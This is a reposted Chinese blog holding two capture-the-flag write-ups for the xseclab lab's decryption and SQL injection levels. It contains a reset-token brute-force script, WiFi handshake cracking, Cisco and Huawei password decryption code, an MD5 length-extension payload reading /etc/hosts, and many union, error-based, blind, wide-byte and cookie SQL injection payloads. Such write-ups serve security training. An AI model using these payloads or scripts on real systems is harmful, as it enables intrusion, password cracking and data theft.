网络安全实验室6.解密关

Posted 儒道易行

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全实验室6.解密关相关的知识,希望对你有一定的参考价值。

6.解密关

1.以管理员身份登录系统

url:http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/index.php

进入网站点击忘记密码的链接,进入到重置密码的模块

输入aaa,点击抓包,发送到重放模块go

查看返回的链接,接下来会跳转到这个页面,sukey是用来验证的,盲猜是MD5加密,username是要重置的用户名

服务器会对提交的sukey和username的值进行匹配

首先对sukey进行MD5解密,见识多的一看就知道这是个时间戳

对时间戳进行转换,发现确实是

我们可以通过伪造sukey的值来重置admin的密码

抓包查看服务器的时间,发现比北京时间晚了8小时,转成时间戳就是慢了28800

第一种方法:在重置密码的页面输入admin,放包,记录服务器的时间戳

记录上面图片的时间戳

写脚本生成对应的时间戳字典

with open("pass.txt","w") as f:
    for x in range(1xxxx0000,1xxxx0000):     #大概的时间戳范围
        f.write("%d\\n" % x)

之后点击重置密码的页面,用burpsuite神器爆破

字典加载上面脚本生成的字典

并且设置为MD5加密

开始爆破,查找长度不同的页面,得到key is yestimeispassword

第二种方法,使用python脚本进行爆破

import requests
import hashlib
import time

se = requests.session()
headers = 'Cookie': 'PHPSESSID=423613048c7ae8017f654bea6fafe808'

while 1:
    sukey = hashlib.new('md5', str(int(time.time())-28800)).hexdigest()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
    r = se.get(url, headers=headers)

    if r.content:
        print r.content
        break
    else:
        print 'Cracking: ' + sukey

脚本来源:https://blog.csdn.net/s0mor/article/details/102969444

2.邂逅对门的妹纸

点击Wifi-Crack

下载得到一个wifi-crack.cap包,根据提示信息可以发现,妹纸今年(2014年)上大三,猜测wifi密码可能是生日格式,出生应该在 1993 或 1994 年,看这样子密码应该是 8 位数字了,可以使用 EWSA 爆破。

写脚本生成一个字典dic.txt:

with open("dic.txt","w") as f:
    for year in range(1990,2014):
        for month in range(1,12):
            for day in range(1,32):
                f.write("%d%02d%02d\\n" % (year,month,day))

接下来,使用 EWSA 爆破,点击左上角导入数据

选中下载的wifi-crack.cap的文件,然后选择“OK”,这里一定要看下是不是有效包,无效的握手包,在图示位置就会显示无数据。

导入数据之后,继续添加字典

选择一个准备好的字典,点击确定

点击开始测试,找到密码19940808,MD5加密32位小写提交e1a45d0d24cb87490b9efb2fc2e8a2ba

3.万恶的Cisco

第一种方法:使用在线cisco交换机密码破解的网站:Cisco Password Cracker

得到key:aishishenmadongxi@Admin

第二种方法:使用python2脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2014/11/30
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    from cisco_decrypt import CiscoPassword
except ImportError:
    raise SystemExit('\\n模块导入错误,请使用pip进行安装!')

cisco_pass = '02070D48030F1C294940041801181C0C140D0A0A20253A3B'
crack = CiscoPassword()
password = crack.decrypt(cisco_pass)
print password

4.万恶的加密

根据提示是某huawei/h3c交换机的加密密码,网上查找的脚本,可能是因为python2的Crypto.Cipher模块已无法安装,windows下无法运行此脚本,可以在kali下运行

# coding=utf-8
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24
    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 1])

        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 2])

        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3
    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)
    r = r[:16]
    d = DES.new("\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08", DES.MODE_ECB)
    r = d.decrypt(r)
    return r.rstrip("\\x00")

if __name__ == '__main__':
    miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
    print u'明文' + decrypt_password(miwen)

得到key为84432079

5.喜欢泡网吧的小明

url:http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php

首先点击链接,下载读取后的dump文件,接下来用WinHex编辑器打开该文件

看到 只有前8行有意义,70以后都是无用的重复字节

题目提示说,卡片数据产生了一个字节的错误,大概就是修改文件头部,文件头应该有始有终,测试后发现是将第一个AA改为8A

从刷卡的页面来看,显示的是100.00,我们知道10000的十六进制是2710

根据题目要求要修改为200.00,而20000的十六进制是4e20

所以我们将两个1027改成204e就可以

得到key is cardcrack_skill_get!

6.异常数据

这道题目,第一眼看上去像是base64加密AGV5IULSB3ZLVSE=

但是解密后却不对ey!B҇vKU!

参考一下40huo同学写的脚本,非常厉害

# coding=utf-8
from base64 import *
import re
def dfs(res, arr, pos):
    res.append(''.join(arr))
    i = pos
    for i in range(i, len(arr)):
        if arr[i] <= 'Z' and arr[i] >= 'A':
            arr[i] = arr[i].lower()
            dfs(res, arr, i + 1)
            arr[i] = arr[i].upper()
arr = list('AGV5IULSB3ZLVSE=')
res = []
dfs(res, arr, 0)
res_decode = map(b64decode, res)
for i in res_decode:
    if re.findall(r'\\\\x', repr(i)):
        continue
    else:
        print i

脚本运行后,得到hey!IloveU!

7.md5真的能碰撞嘛?

url:http://lab1.xseclab.com/pentest5_6a204bd89f3c8348afd5c77c717a097a/

点击网页查看源码

大概意思就是找一个和!1793422703!md5值一样的字符串,且这个字符串不能是!1793422703!

!1793422703!的MD5值是0e332932043729729062996282883873

本题会用到PHP处理0e开头的md5哈希字符串时的一个漏洞:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

所以只要POST提交password的值经过md5加密后是0e开头就行,此处提供几个值password=s878926199a,240610708, QNKCDZO

得到yesyouareclever!

8.小明爱上了一个搞硬件的小姑凉

下载文件,用notepad++打开看看,发现SaleaeAsyncSerialAnalyzer

这就是提示里说的某逻辑分析仪

网上搜索,下载这个软件,把文件拖进去打开,右下角就出现了解码后的key:iloveyou,xiaoguniang!

这里需要注意里面的COMMA是逗号,自己转成

也可以自己搜索能打开后缀为logicdata格式的文件的软件,结果是一样的

9.有签名限制的读取任意文件

url:http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php

根据提示本题需要MD5长度扩展攻击

本题我们使用的工具是hash_extender,推荐使用Ubuntu进行安装

git clone https://github.com/iagox86/hash_extender
sudo apt-get install g++ libssl-dev
cd hash_extender
make

编译安装完成之后就可以继续了

./hash_extender -f md5 -l 32 -d ‘/etc/hosts’ -s ‘f3d366138601b5afefbd4fc15731692e’ -a ‘’ --out-data-format=html

-d 原始数据

-f 代表加密方式

-l key的长度

-s 原始的hash值

-a 添加的值

–out-data-format 输出的格式

组合一下New string和New signature

最后payload如下

http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00&sign=1b17d9594eb404c97c5090b11660ac63

得到Flag is: Md5LenghtExtAttackNowYouSee

10.美丽的邂逅与密码器的开门密码

点击下载二进制的exe文件,需要输入的字符串长度大于50

得到0h_No_u_f0und_m3

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

网络安全实验室4.注入关

4.注入关

1.最简单的SQL注入

url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

查看源代码,登录名为admin

最简单的SQL注入,登录名写入一个常规的注入语句:

admin’ or ‘1’='1

密码随便填,验证码填正确的,点击登录

得到我的座右铭(flag)是iamflagsafsfskdf11223

2.最简单的SQL注入(熟悉注入环境)

url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入

判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段

判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询

查询数据库名为mydbs ?id=-1 union select 1,2,database()

查询数据表为sae_user_sqli3

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

查询字段名为id,title,content

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3

查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3

得到HKGGflagdfs56757fsdv

3.防注入

url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df’

成功报错,找到注入点

构造语句?id=1%df%27%20or%201=1%23

页面正常回显,说明or语句执行成功可以注入!

构造语句?id=1%df%27%20or%201=1%20limit%202,1%23

得到Hsaagdfs56sdf7fsdv

另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23

确定字段长度:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ order by 3 %23

确定显示位:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ union select 1,2,3 %23

得到数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

得到列名:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

得到字段:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

4.到底能不能回显

url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

经过测试,只有start参数有作用,num参数并没有作用。

构造payload:

查询数据库名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1

查询数据表名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1

查询列名:(由于分号被过滤了,只能将表名转换成16进制)

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1

查询flag:myflagishere

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1

5.邂逅

url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入

burp对图片抓包的设置

在上图所示的位置

构造payload:

查询注入点:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg

页面报错

查询列数:4列

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg

查询显示位:3

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg

查询数据库:mydbs

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg

查询表名:article,pic

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

查询列名:id,picname,data,text

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg

查询数据(flag):

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg

将图片后缀改为flagishere_askldjfklasjdfl.jpg ,

访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

得到flag is “IamflagIloveyou!”

6.ErrorBased

url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

本题考查mysql的报错注入

查询数据库名:mydbs

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q

查询数据表名:log,motto,user

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20–%20q

查询motto表的下的列名:id,username,motto

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘motto’)),1)%20–%20q

查询id字段的值:0,1,2,100000

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q

查询username字段的值:admin,guest,test,#adf#ad@@#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q

查询motto字段的值:mymotto,happy everyday,nothing

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q

对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中

再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q

7.盲注

url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php

本题使用延时盲注

判断当前数据库名长度为5,页面没有延时,说明数据库长度为5

%27+and%20sleep(if((length(database())=5),0,3))–%20q

判断库名第一个值为m,页面没有延时,说明数据库第一个值为m

’ and if(substr(database(),1,1)=‘m’,0,sleep(3))-- q

以此类推,数据库名为mydbs

判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l

’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘l’,0,sleep(3))-- q

以此类推,数据表名为log,motto,user

判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘motto’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q

以此类推,数据表motto中的字段值为id,username,motto

判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m

’ and if(substr((select id from motto limit 0,1),1,1)=‘0’,0,sleep(3))-- q

以此类推,得到flag,notfound!

延时注入太慢了,sqlmap跑也比较慢

8.SQL注入通用防护

url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1

本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包

在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入

查询字段数目

id=1 order by 3

最后得到字段数目是3。

查询显示位,得到显示位是2,3

id=1 union select 1,2,3

查询数据库名,得到数据库名为mydbs

id=1 union select 1,2,database()

查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8

id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段

id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘sae_manager_sqli8’)

查询flag,IamFlagCookieInject!

id=1 union select 1,2,password from sae_manager_sqli8

9.据说哈希后的密码是不能产生注入的

url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

查看关键源

"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"

对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。

其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。

md5(‘123’) //202cb962ac59075b964b07152d234b70

md5(‘123’,true) // ,�b�Y[�K-#Kp

只要md5(str,true)之后的值是包含了’or’这样的字符串,那么sql语句就会变为select * from users where usrid=“XXX” and password=‘‘or’’。如此就可以绕过了。

提供一个字符:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

可以伪造成

select * from user where userid=‘1’ and pwd = '‘or’6É]™é!r,ùíb’

从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf

payload:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

以上是关于网络安全实验室6.解密关的主要内容,如果未能解决你的问题,请参考以下文章

小迪安全web学习笔记

148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)RCE (远程代码/命令执行漏洞)相关面试题

web安全详解(渗透测试基础)

老男孩网络安全课程主要学啥?

【网络安全入门教程】Web渗透测试常用工具